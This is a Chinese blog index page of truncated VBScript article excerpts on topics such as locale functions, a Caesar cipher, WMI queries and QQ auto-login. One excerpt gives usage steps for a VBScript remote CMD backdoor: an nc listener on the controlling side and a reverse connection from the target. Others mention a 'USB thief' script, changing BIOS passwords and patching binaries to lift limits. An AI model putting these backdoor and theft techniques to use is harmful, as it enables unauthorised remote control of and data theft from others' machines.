VBS中的SetLocale函数到底有什么用？

2016年07月27日 104 阅读

VBS文档中对SetLocale函数的描述： 设置全球区域设置，并返回以前的区域设置。 一个 locale 是用户参考信息集合，与用户的语言、国家/地区和文化传统有关。该 locale 决定键盘布局、字母排序顺序和日期、时间、数字与货币格式。 简单的说，就是VBS中的一些函数的返回值与当前的locale相关，比如说MonthName函数： 复制代码 代码如下: Dim a（12）, b（12） "By Demon SetLocale "zh-cn" For...

VBS中CreateObject和WScript.CreateObject的区别介绍

2016年07月27日 96 阅读

CreateObject和WScript.CreateObject的区别一： CreateObject是VBS的内置函数，属于语言的一部分；而WScript.CreateObject是Windows脚本宿主（wscript.exe和cscript.exe）提供的WScript对象的方法。类似于批处理中内部命令和外部命令的关系。在VBS中，CreateObject总是可用的，而WScript.CreateObject只有在宿主为wscript.exe和csc...

用VBS实现的凯撒密码算法

2016年07月27日 94 阅读

在密码学中，恺撒密码（或称恺撒加密、恺撒变换）是一种最简单且最广为人知的加密技术。它是一种替换加密的技术，明文中的所有字母都在字母表上向後（或向前）按照一个固定数目进行偏移後被替换成密文。例如，当偏移量是3的时候，所有的字母A将被替换成D，B变成E，以此类推。这个加密方法是以恺撒的名字命名的，当年恺撒曾用此方法与其将军们进行联系。 例如，当偏移量是左移3的时候（解密时的密钥就是3）： 复制代码 代码如下: 明文字母表：ABCDEFGHIJKLMNOPQRS...

通过vbs修改目录名称与快捷方式名称的实现代码

2016年07月27日 101 阅读

复制代码 代码如下:set fso=wscript.createobject（"scripting.filesystemobject"）OldFolderName1="263 Enterprise Messenger"newFolderName1="Peacemap Messenger"OldFileName1 = "263 Enterprise Messenger.lnk"newFileName1 = "Peacemap Messenger.lnk"Ol...

用VBScript制作QQ自动登录的脚本代码

2016年07月27日 95 阅读

一直用的是狂人版的QQ，也用它附赠的自动登录器很久了，不过最近一版的狂人QQ不知为何取消了自动登录组件。好在QQ2009已经能够同时记住多个号码的密码，虽然要多点击几下，但依然能够实现免输入密码登录。 谁知最近不知道电脑发了什么疯，每隔一段时间，QQ记住的密码就会被清空。我的两个QQ号密码都设置得比较复杂，每次登录要输入两遍密码实在是件痛苦的事情，于是决定自制一个登录器。 在网上找了许久，发现了一个用VBS制作QQ登录脚本的办法：复制代码 代码如下:s...

VBSCript之GenerateSDDL函数（权限设置）

2016年07月27日 96 阅读

复制代码 代码如下:Function GenerateSDDL（AccountName, AccessFlag, AccessType, AccessMask）Dim Accounts, ObjWMI, ObjSID, ObjTru, ObjACEConst SET_DACL_PRESENT = &H8004Set ObjWMI = GetObject（"winmgmts:" & "{impersonationLevel=impersonate, （Sec...

去掉RAR右键解压菜单的VBS代码

2016年07月27日 108 阅读

原理: http://demon.tw/programming/vbs-binary-file-another.html复制代码 代码如下:Public ReadBinaryReadBinaryDat（".1.exe"）BinaryDat = Replace（Replace（ReadBinary, "526172211a07", "522172211a07"）, "807a0161", "807a0121"）WriteBinaryDat "new.exe"...

使用VBS修改二进制文件HEX数据

2016年07月27日 106 阅读

可用之处还是有的，如：隐藏快捷方式中目标文件位置；破解XP中TCP/IP连接数限制；去掉RAR右键解压菜单等等。 复制代码 代码如下:Public BinaryDataIf （lcase（right（wscript.fullname,11））="wscript.exe"） ThenWScript.Quit（0）End IfIf wscript.arguments.count<4 ThenWscript.Echo "Change File Hex. B...

利用VBS脚本修改联想笔记本BIOS密码的代码分享

2016年07月27日 107 阅读

这不科学！无意中找到的一些资料：vbs 代码：复制代码 代码如下: strComputer = "." Set objWMIService = GetObject（"winmgmts:\" & strComputer & " ootWMI"） " Obtain an instance of the the class " using a key property value. Set objShare = objWMIService.Get（"Lenovo...

VBScript根据盘符找设备名的代码

2016年07月27日 96 阅读

复制代码 代码如下:On Error Resume NextstrComputer = "." Set objWMIService = GetObject（"winmgmts:\" & strComputer & " ootCIMV2"） Set colItems = objWMIService.ExecQuery（ _ "associators of {win32_logicaldisk.deviceid="G:"} WHERE ResultClass=...

Win7下VHD文件右键增强实现代码（vbs+注册表）

2016年07月27日 95 阅读

1、保存以下代码到：c:windowssystem32vdm.vbs复制代码 代码如下:Dim ArgsSet Args = WScript.ArgumentsTranArgs = " "For i = 0 To Args.Count - 1TranArgs = TranArgs & """" & Args（i） & """" & " " NextIf Args（0） <> "-hFlag" Then If Args（0） <> "...

vbs 脚本错误:操作中文件名或类名未找到的解决方法

2016年07月27日 107 阅读

昨天下午闲得无事，于是翻出以前的脚本，尝试运行，结果却出现了如图所示的错误。 于是：regsvr32 vbscript.dll。 重新运行脚本，没想到还是一样。放到另外一台计算机上却正常。怪了，最近也没怎么折腾这系统，百度、谷歌了一阵子，没有答案。 下午吃饭的时候，放火墙出了点状况，打开防火墙日志查看了下，无意中瞄到了“D:DATAVBSGetWanIP.vbs”的字眼，看来有眉目了。 原来是防火墙阻止了脚本的网络访问！添加一条规则。脚本正常运行了。 Ge...

VBScript 监控磁盘更改事件实现代码

2016年07月27日 92 阅读

来自微软官方，写USB小偷脚本是最好不过的了复制代码 代码如下: strComputer = "." Set objWMIService = GetObject（"winmgmts:" _ & "{impersonationLevel=impersonate}！\" & strComputer & " ootcimv2"） Set colMonitoredEvents = objWMIService. _ ExecNotificationQuery（"Se...

VBScript Enun Remote CMD Shell代码

2016年07月27日 113 阅读

效果如图：复制代码 代码如下:"============================" Enun Remote CMDShell v 1.0"============================Option ExplicitCONST ACCOUNT_LOCK_TIME = 600000 "账户锁定时间，10分钟CONST LOCKOUT_BAD_COUNT = 3 "密码失败次数CONST DEFAULT_WAIT_TIME = 1000 "默认...

VBScript 打造自己的远程CMDShell附使用教程

2016年07月27日 106 阅读

请先下载 mswinsck.ocx 与 VB6Controls.reg！ 使用方法： 1，控制：nc.exe，执行：nc -l -v -p 1234；2，目标：cscript.exe enun.vbs IP Port； 3，密码：enun。 几点说明： 1，退出 SHELL，请输入 “exit”，不要用 “Ctrl + C”，这样的话只能等目标重启或手动运行后门才能连接； 2，Windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。 3，...

VBS获取外网IP地址并发送到指定邮箱的代码

2016年07月27日 103 阅读

复制代码 代码如下:Function GetIPAddress（）Dim Flag, SourceSet GetIPObj = WScript.GetObject（"http://ipseeker.cn//"）Flag = 0For i=1 To 10 If GetIPObj.readyState = "complete" Then Flag=1 Exit For End If WScript.Sleep 500NextIf Flag = 0 ThenG...

VBS 获取外网IP的实现代码

2016年07月27日 102 阅读

复制代码 代码如下:set oDOM = WScript.GetObject（"http://ipseeker.cn//"）flag=0for i=1 to 10 if oDOM.readyState = "complete" then flag=1 exit for end if WScript.sleep 500nextif flag=0 then WScript.Echo "timeout ..." wscript.quitend ifs=oDOM...

VBS 自动登录论坛的实现代码

2016年07月27日 97 阅读

复制代码 代码如下:on error resume nexturl = " http://www.bathome.net/logging.php？action=login"username = "***"password = "***"set ie = CreateObject（"InternetExplorer.Application"）ie.visible = trueie.Navigate url,4 " " http://www.baidu.com...

WMI 创建系统服务的实现代码（Automatic）

2016年07月27日 93 阅读

复制代码 代码如下:Const OWN_PROCESS = &H10Const ERR_CONTROL = &H2Const INTERACTIVE = FalseServiceName = "TestService"DisplayName = "This is a test service."InstallPath = "c:windowssystem32Test.exe"Set ObjWMI = GetObject（"winmgmts:" & "{im...

VBS 加解密 For CAPICOM

2016年07月27日 105 阅读

复制代码 代码如下:"******************************************************************************"" THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, " EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO TH...